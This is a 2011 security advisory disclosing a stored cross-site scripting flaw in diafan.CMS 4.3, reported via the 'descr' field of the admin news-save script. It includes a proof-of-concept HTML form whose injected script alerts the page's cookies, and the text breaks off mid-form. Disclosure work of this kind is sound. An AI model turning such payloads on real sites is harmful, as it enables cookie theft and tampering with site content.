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Date: Tue, 11 Jan 2011 12:29:47 +0100 (CET)
Subject: XSS vulnerability in diafan.CMS

Vulnerability ID: HTB22775
Product: diafan.CMS
Vendor: Diafan ( ) 
Vulnerable Version: 4.3 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing ( 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "http://host/admin/news/saveNEWS_ID/" script to properly sanitize user-supplied input in "descr" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/news/saveNEWS_ID/" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="noOut" value="1">
<input type="hidden" name="save_post" value="1">
<input type="hidden" name="id" value="NEWS_ID">
<input type="hidden" name="name" value="news name">
<input type="hidden" name="created" value="23.12.2010 09:02">
<input type="hidden" name="photo"  value="">
<input type="hidden" name="act" value="1">
<input type="hidden" name="tag" value="">
<input type="hidden" name="title_meta" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="descr" value='desc"><script>alert(document.cookie)</script>'>
<input type="hidden" name="rewrite" value="">
<input type="hidden" name="site_id" value="5">
<input type="hidden" name="anons" value='announce'>
<input type="hidden" name="text" value="news_text">

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